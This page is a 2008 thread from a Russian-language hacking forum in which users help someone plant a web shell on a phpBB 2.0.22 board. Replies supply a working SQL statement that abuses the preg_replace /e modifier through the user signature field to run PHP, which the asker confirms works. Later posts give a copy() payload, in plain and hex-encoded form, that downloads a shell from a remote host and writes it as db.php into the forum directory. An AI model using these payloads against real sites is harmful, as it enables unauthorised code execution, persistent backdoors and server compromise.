HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Перезагрузить страницу заливка shell - phpbb2
   
Ответ
Страница 1 из 4 1 2 3 4 >
 
Опции темы Поиск в этой теме Опции просмотра

заливка shell - phpbb2
  #1  
Старый 17.04.2008, 18:59
number0
Познающий
Регистрация: 01.03.2008
Сообщений: 39
С нами: 9576326

Репутация: 24
Exclamation заливка shell - phpbb2
Здраствуйте! Версия форума 2.0.22 чистый (без модов). Что есть:
1. админский акуант (доступ в админку)
2. серверный путь к форуму
3. config.php
ftp доступа нету. =( БД не root.

Собственно вопрос... как загрузить shell ?
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 17.04.2008, 19:04
Sleep
Участник форума
Регистрация: 31.10.2007
Сообщений: 193
С нами: 9752260

Репутация: 150
По умолчанию
глянь
https://forum.antichat.ru/thread24488.html
и тут на ачате видео еще было по заливки шелла через бд
 
Ответить с цитированием

  #3  
Старый 17.04.2008, 19:07
vp$
Участник форума
Регистрация: 22.10.2007
Сообщений: 138
С нами: 9765139

Репутация: 177
По умолчанию
если file_priv=N
то никакое видео не поможет, и врятли что то можно сделать
 
Ответить с цитированием

  #4  
Старый 17.04.2008, 19:20
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами: 10274726

Репутация: 1917


По умолчанию
несколько раз заливал через
Цитата:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbbhpinfo()' WHERE user_id=2;
но при этом у меня всегда был доступ к БД, через phpMyAdmin
насчет твоей версии незнаю
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #5  
Старый 17.04.2008, 19:29
number0
Познающий
Регистрация: 01.03.2008
Сообщений: 39
С нами: 9576326

Репутация: 24
По умолчанию
на форуме майскл имеет права file_priv=N
 
Ответить с цитированием

  #6  
Старый 17.04.2008, 19:32
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами: 10274726

Репутация: 1917


По умолчанию
для того способа который я сказал file_priv не имеет значения
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #7  
Старый 17.04.2008, 19:39
number0
Познающий
Регистрация: 01.03.2008
Сообщений: 39
С нами: 9576326

Репутация: 24
По умолчанию
Цитата:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbbhpinfo()' WHERE user_id=2;
Да, сроботал. PHP Version показало.
мм.. может уже есть и готовый шелл под скрипт выше указаный? С99 хотелось бы...
Последний раз редактировалось number0; 17.04.2008 в 19:41..
 
Ответить с цитированием

  #8  
Старый 17.04.2008, 19:44
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами: 10274726

Репутация: 1917


По умолчанию
в user_sig пропиши phpbb:copy("http://путь до шелла/шелл.txt","/путь до папки/куда лить/шелл.php")
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #9  
Старый 17.04.2008, 19:59
number0
Познающий
Регистрация: 01.03.2008
Сообщений: 39
С нами: 9576326

Репутация: 24
По умолчанию
Цитата:
UPDATE phpbb_users SET user_sig_phpbb:copy=("http://192.168.10.5/db.txt","/var/www/html/forum/db.php") WHERE user_id=2;
Не дало востановить БД. Где-то ошибочку допустил.. подправте пожалуйста.

Цитата:
SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
 
Ответить с цитированием

  #10  
Старый 17.04.2008, 20:04
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами: 10274726

Репутация: 1917


По умолчанию
Код:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig=0x70687062623A636F70792822687474703A2F2F3139322E3136382E31302E352F64622E747874222C222F7661722F7777772F68746D6C2F666F72756D2F64622E7068702229 WHERE user_id=2;
не забудь пробелы убрать здесь:
F2F3 139322E3136382E31302E352F64622E747874222C222F76617 22F
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием
Ответ
Страница 1 из 4 1 2 3 4 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
webshell scripts -) blackybr PHP 20 28.03.2010 02:17
заливка шела через Koobi CMS vp$ Веб-уязвимости 2 14.06.2008 08:43
бэкап бд в phpBB2 Plus IGEMON Уязвимости CMS / форумов 6 09.02.2008 01:20



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.